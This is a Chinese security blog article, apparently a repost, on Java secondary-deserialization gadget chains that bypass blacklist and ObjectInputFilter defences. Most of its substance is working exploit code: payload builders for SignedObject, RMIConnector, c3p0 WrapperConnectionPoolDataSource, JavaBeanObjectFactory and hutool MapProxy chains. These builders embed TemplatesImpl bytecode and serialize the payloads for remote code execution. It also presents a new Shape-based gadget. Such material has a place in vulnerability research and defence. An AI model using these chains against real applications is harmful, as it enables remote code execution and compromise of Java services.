java二次反序列化链

admin 2025年7月9日02:00:52评论0 views字数 15234阅读50分46秒阅读模式

1.为什么要二次反序列化

为什么要二次反序列化?通常是因为存在反序列化入口时,代码通过重写ObjectInputStream.resolveClass()进行黑名单防御。而二次反序列化链所需的类名不在黑名单中,进而产生bypass。参考代码如下。

package util;import java.io.IOException;import java.io.InputStream;import java.io.InvalidClassException;import java.io.ObjectInputStream;import java.io.ObjectStreamClass;import java.util.Arrays;import java.util.HashSet;import java.util.Set;public class SafeObjectInputStream extends ObjectInputStream {  private static final Set<String> BLACKLIST = new HashSet<String>(Arrays.asList(new String[] {  //"org.apache.commons.beanutils.BeanComparator",  "javax.management.BadAttributeValueExpException",  "org.apache.commons.collections4.map.AbstractHashedMap",  "org.springframework.aop.target.HotSwappableTargetSource",  "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" }));  public SafeObjectInputStream(InputStream in) throws IOException {    super(in);  }  protected Class<?> resolveClass(ObjectStreamClass desc) throws ClassNotFoundException, IOException {    String className = desc.getName();    if (BLACKLIST.contains(className))      throw new InvalidClassException("Disallowed deserialization attempt: " + className);     return super.resolveClass(desc);  }}

正常的CB链效果如下

java二次反序列化链

而SignedObject二次反序列化链可以bypass。

java二次反序列化链

而JEP290之后诞生了ObjectInputFilter,对单个 ObjectInputStream设置是这样的。

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));        ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("!com.sun.org.apache.xalan.internal.xsltc.trax*");        ObjectInputFilter.Config.setObjectInputFilter(ois, filter);        ois.readObject();
java二次反序列化链

同样可以用二次反序列化绕过。

如果进行全局设置,二次反序列化将无法绕过。

        System.setProperty("jdk.serialFilter""!com.sun.org.apache.xalan.internal.xsltc.trax*");        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));        ois.readObject();

全局设置还可以在java.security中写入jdk.serialFilter,不同jdk版本文件位置不一样。

JDK8     jdk1.8.0_181/jre/lib/security/java.security

JDK11   jdk-11.0.11/conf/security/java.security

2.协议二次反序列化

本质是通过第一次反序列化向外发起某种协议请求,我们搭好恶意服务端,在协议沟通中完成二次反序列化。因此这种反序列化一般都要出网,没有那么实用。 

rmi——jdk原生JRMPClient和JRMPListener

也就是rmi正向反向两个二次反序列化链,均需出网,且均受到JEP290影响。8u121-8u231/8u231-8u241存在JEP290 bypass,更高版本则无法利用,因此用的很少。此外JRMPClient还存在一些变种。

https://su18.org/post/rmi-attack/

jndi——jdk原生JdbcRowSetImpl/LdapAttribute,第三方依赖SharedPoolDataSource/OracleCachedRowSet等等。

也就是getter转jndi,即lookup(url)。同样需要出网,通常接在CB/fastjson/jackson后面。jndi还细分为ldap/rmi,其中ldap在jdk20完全无法反序列化,rmi一直到jdk22还存在反序列化点(和JRMPClient有所不同)。

jdbc——mysql反序列化

也就是getter转jdbc,8.0.19是最后一个可以反序列化的版本,详情如下。

https://paper.seebug.org/1227/

此外这篇文章还介绍了mysql不出网反序列化的利用。

https://xz.aliyun.com/news/17830

3.非协议二次反序列化

在实战和CTF中更常用的是不出网的二次反序列化,jdk原生中有SignedObject和RMIConnector,第三方依赖中有WrapperConnectionPoolDataSource/MapProxy等等。

SignedObject.getObject()

最常用的二次反序列化链,漏洞点一目了然。

java二次反序列化链

由于是getter,天然适合衔接CB/fastjson/jackson,其中CB+SignedObject代码如下。

    FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\payload\TemplatesImplCalc.class");    byte[] bs = new byte[inputFromFile.available()];        inputFromFile.read(bs);        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes"new byte[][]{bs});        setFieldValue(obj, "_name""TemplatesImpl");        setFieldValue(obj, "_tfactory"new TransformerFactoryImpl());        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);        queue.add("1");        queue.add("1");        setFieldValue(comparator, "property""outputProperties");        setFieldValue(queue, "queue"new Object[]{obj, obj});        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");        kpg.initialize(1024);        KeyPair kp = kpg.generateKeyPair();        SignedObject signedObject = new SignedObject(queue,kp.getPrivate(), java.security.Signature.getInstance("DSA"));        //signedObject.getObject();        final BeanComparator comparator2 = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);        final PriorityQueue<Object> queue2 = new PriorityQueue<Object>(2, comparator2);        queue2.add("1");        queue2.add("1");        setFieldValue(comparator2, "property""object");        setFieldValue(queue2, "queue"new Object[]{signedObject, signedObject});        ByteArrayOutputStream out = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(out);        oos.writeObject(queue2);String base64 = java.util.Base64.getEncoder().encodeToString(out.toByteArray());base64 = base64.replace("+""%2B");System.out.println(base64);        ObjectOutputStream oos2 = new ObjectOutputStream(new FileOutputStream("1.ser"));        oos2.writeObject(queue2);        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));        ois.readObject();

这里还有个小tips,在fastjson/jackson链中,我们并不一定要在SignedObject.getObject()这里触发RCE,而是让它返回一个bean就行。这样fastjson/jackson链会继续调这个bean的getter从而触发RCE,具体代码如下。

    FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\payload\TemplatesImplCalc.class");    byte[] bs = new byte[inputFromFile.available()];        inputFromFile.read(bs);        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes"new byte[][]{bs});        setFieldValue(obj, "_name""TemplatesImpl");        setFieldValue(obj, "_tfactory"new TransformerFactoryImpl());        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject(obj,kp.getPrivate(), java.security.Signature.getInstance("DSA"));//signedObject.getObject();JSONArray jsonArray = new JSONArray();jsonArray.add(signedObject);BadAttributeValueExpException bd = new BadAttributeValueExpException(null);setFieldValue(bd,"val",jsonArray);HashMap hashMap = new HashMap();hashMap.put(signedObject,bd);ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));        objectOutputStream.writeObject(hashMap);        objectOutputStream.close();        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));        objectInputStream.readObject();

RMIConnector.connect()

利用链如下

RMIConnector.connect()->RMIConnector.findRMIServerJRMP()->RMIConnector.findRMIServer()->ObjectInputStream.readObject()
java二次反序列化链

但由于它的触发点不是getter,导致在原生反序列化中非常难用,基本只能接在CC链上,实战意义接近于0。

    FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\payload\"    + "TemplatesImplCalc.class");        byte[] bs = new byte[inputFromFile.available()];        inputFromFile.read(bs);        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes"new byte[][]{bs});        setFieldValue(obj, "_name""TemplatesImpl");        setFieldValue(obj, "_tfactory"new TransformerFactoryImpl());        Transformer[] transformers=new Transformer[]{                new ConstantTransformer(TrAXFilter.class),                new InstantiateTransformer(                        new Class[] { Templates.class },                        new Object[] { obj })        };    Transformer transformerChain = new ChainedTransformer(transformers);    Map innerMap = new HashMap();    Map lazyMap = LazyMap.decorate(innerMap, transformerChain);    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");    HashSet set = new HashSet(1);    set.add("foo");    HashMap innimpl = (HashMap) getFieldValue(set, "map");    Object array[] = (Object[])(Object[])getFieldValue(innimpl, "table");    Object node;    try {    node = array[1];catch (Exception e) {node = array[0];}setFieldValue(node, "key", entry);        ByteArrayOutputStream tser = new ByteArrayOutputStream();        ObjectOutputStream toser = new ObjectOutputStream(tser);        toser.writeObject(set);        toser.close();        String exp = Base64.getEncoder().encodeToString(tser.toByteArray());        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");          setFieldValue(jmxServiceURL, "urlPath""/stub/"+exp);          RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);          InvokerTransformer invokerTransformer = new InvokerTransformer("connect"nullnull);        HashMap map = new HashMap();        Map<Object,Object> lazymap =  LazyMap.decorate(map,new ConstantTransformer(1));        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,rmiConnector);        HashMap map1 = new HashMap();        map1.put(tiedMapEntry,"aaa");        lazymap.remove(rmiConnector);        setFieldValue(lazymap,"factory", invokerTransformer);        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.ser"));        oos.writeObject(map1);ObjectInputStream ois = new ObjectInputStream(new FileInputStream("2.ser"));        ois.readObject();

WrapperConnectionPoolDataSource.setUserOverridesAsString()

依赖c3p0,fastjson中非常经典的一条链,setter转反序列化。

    InputStream in = new FileInputStream("D:\Downloads\workspace\javareadobject\1.ser");        byte[] payload = toByteArray(in);        String payloadHex = bytesToHex(payload);        payloadHex = "HexAsciiSerializedMap:"+payloadHex+";";    new WrapperConnectionPoolDataSource().setUserOverridesAsString(payloadHex);

利用链如下。

WrapperConnectionPoolDataSourceBase.setUserOverridesAsString()->VetoableChangeSupport.fireVetoableChange()->WrapperConnectionPoolDataSource$1.vetoableChange()->C3P0ImplUtils.parseUserOverridesAsString()->SerializableUtils.fromByteArray()->SerializableUtils.deserializeFromByteArray()->ObjectInputStream.readObject()

在fastjson中是可以直接调setter的,jdk原生反序列化中如何调setter呢?这需要利用ldap/rmi中的ObjectFactory。在BeanFactory/GenericNamingResourcesFactory/JavaBeanObjectFactory中,都可以调setter。

BeanFactory

java二次反序列化链
java二次反序列化链

GenericNamingResourcesFactory

java二次反序列化链
java二次反序列化链

JavaBeanObjectFactory

java二次反序列化链
java二次反序列化链

所以看起来setUserOverridesAsString的二次反序列链大概是这样的。

readObject->lookup->getObjectInstance->setUserOverridesAsString->readObject

但显然出网lookup就已经能走协议二次反序列化了,除了极端情况下这个链没什么意义 (jdk17设置trustSerialData=false)。

但是刚好c3p0/xbean存在反序列化链能够不出网调用ObjectFactory,这里c3p0代码如下。

    Reference ref = new Reference("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource""com.mchange.v2.naming.JavaBeanObjectFactory"null);            InputStream in = new FileInputStream("D:\Downloads\workspace\javareadobject\1.ser");        byte[] payload = toByteArray(in);        String payloadHex = bytesToHex(payload);        payloadHex = "HexAsciiSerializedMap:"+payloadHex+";";    ref.add(new StringRefAddr("userOverridesAsString", payloadHex));    //new WrapperConnectionPoolDataSource().setUserOverridesAsString(payloadHex);    Constructor<?> constructor = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized").getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);    constructor.setAccessible(true);    IndirectlySerialized referenceSerialized = (IndirectlySerialized) constructor.newInstance(ref, nullnullnull);    JndiRefDataSourceBase db = new JndiRefDataSourceBase(true);    db.setJndiName(referenceSerialized);        ByteArrayOutputStream out = new ByteArrayOutputStream();        ObjectOutputStream os = new ObjectOutputStream(out);        os.writeObject(db);        String encodeString = java.util.Base64.getEncoder().encodeToString(out.toByteArray());        System.out.println(encodeString);        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.ser"));        oos.writeObject(db);        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("2.ser"));        ois.readObject();

JavaBeanObjectFactory.REF_PROPS_KEY

同样是c3p0,前面提到JavaBeanObjectFactory可以调setter,同时它也存在反序列化的点。

java二次反序列化链

利用链如下。

JavaBeanObjectFactory.getObjectInstance()->SerializableUtils.fromByteArray()->SerializableUtils.deserializeFromByteArray()->ObjectInputStream.readObject()

同理,它可以lookup经过ldap/rmi协议触发,但由于lookup本身就能反序列化所以毫无意义(实际情况更复杂一些,详情见最近发现的跟jdbc有关的新知识——ldap篇)。因此还是搭c3p0/xbean最佳。

    Reference ref = new Reference("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource""com.mchange.v2.naming.JavaBeanObjectFactory"null);            InputStream in = new FileInputStream("D:\Downloads\workspace\javareadobject\1.ser");        byte[] payload = toByteArray(in);    ref.add(new BinaryRefAddr("com.mchange.v2.naming.JavaBeanReferenceMaker.REF_PROPS_KEY", payload));    Constructor<?> constructor = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized").getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);    constructor.setAccessible(true);    IndirectlySerialized referenceSerialized = (IndirectlySerialized) constructor.newInstance(refnullnullnull);    JndiRefDataSourceBase db = new JndiRefDataSourceBase(true);    db.setJndiName(referenceSerialized);        ByteArrayOutputStream out = new ByteArrayOutputStream();        ObjectOutputStream os = new ObjectOutputStream(out);        os.writeObject(db);        String encodeString = java.util.Base64.getEncoder().encodeToString(out.toByteArray());        System.out.println(encodeString);        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.ser"));        oos.writeObject(db);        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("2.ser"));        ois.readObject();

这种ObjectFactory中存在某个refAddr可以反序列化还算比较常见。比如tomcat中的SharedPoolDataSource/PerUserPoolDataSource。

java二次反序列化链
java二次反序列化链

weblogic中的PartitionedMbsRefObjFactory

java二次反序列化链

MapProxy.invoke()

依赖hutool,在CTF中被发掘出来的链。

https://mp.weixin.qq.com/s/dMl0aEg6p7w7MKlUe7pCdg

核心代码如下

java二次反序列化链

利用链如下。

MapProxy.invoke()->Convert.convert()->Convert.convertWithCheck()->ConverterRegistry.convert()->BeanConverter.convert()->BeanConverter.convertInternal()->ObjectUtil.deserialize()->SerializeUtil.deserialize()->IoUtil.readObj()->ValidateObjectInputStream.readObject()->

其中ValidateObjectInputStream已经预想到了反序列漏洞的问题,acceptClasses参数是白名单类,但反序列化链的利用过程中,acceptClasses不传参,因此不受影响。

java二次反序列化链

Proxy对象在实例化的时候要传一个接口进去,实例化完成后获得的proxy对象,调用这个接口的方法,就会走到invoke中。实际情况就是这样的。

java二次反序列化链

那么来看MapProxy.invoke()。 

java二次反序列化链

显然要进入Convert.convert(),方法名要符合getXxx或者isXxx,截取xxx作为fieldName。而且MapProxy不但是Proxy,也是一个Map,所以再取出get(fieldName),和getXxx()的返回类型作为参数进入到Convert.convert()。

java二次反序列化链

向下跟进到ConverterRegistry.convert(),rowType也就是getXxx()的返回类,必须得是bean,什么样得算bean呢?

java二次反序列化链
java二次反序列化链

得是个标准类,且有个setter或者公开属性。

满足之后,就会将之前MapProxy.get(fieldName)的value进行反序列化。

java二次反序列化链

因此核心是找一个存在getter的接口,且getter的返回类是一个含setter的标准类。最终我们并不会调用这个getter,也不会实例化标准类,仅仅只是用于判断让代码走到反序列化点。

在这个CTF的wp中,都是使用了CTF引入的feilong包中的某个类的getter。显然理想情况是jdk内部就有符合标准的getter,这并不难找,我找到了java.awt.Shape.getBounds()就满足条件。

因此最终代码如下。

    FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\payload\"    + "TemplatesImplCalc.class");    byte[] bs = new byte[inputFromFile.available()];        inputFromFile.read(bs);        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes"new byte[][]{bs});        setFieldValue(obj, "_name""TemplatesImpl");        setFieldValue(obj, "_tfactory"new TransformerFactoryImpl());        setFieldValue(obj, "_transletIndex"0);        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);        queue.add("1");        queue.add("1");        setFieldValue(comparator, "property""outputProperties");        setFieldValue(queue, "queue"new Object[]{obj, obj});    HashMap map = new HashMap();    map.put("bounds", serialize(queue));MapProxy mapProxy = MapProxy.create(map);Class proxyClass = Shape.class;Shape proxy = (Shape) Proxy.newProxyInstance(proxyClass.getClassLoader(), new Class[] {proxyClass}, mapProxy);/proxy.getBounds();        setFieldValue(comparator, "property""bounds");        setFieldValue(queue, "queue"new Object[]{proxy, proxy});        ObjectOutputStream oos2 = new ObjectOutputStream(new FileOutputStream("1.ser"));        oos2.writeObject(queue);ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));ois.readObject();

原文始发于微信公众号(NOVASEC):java二次反序列化链

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月9日02:00:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   java二次反序列化链https://cn-sec.com/archives/4231537.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息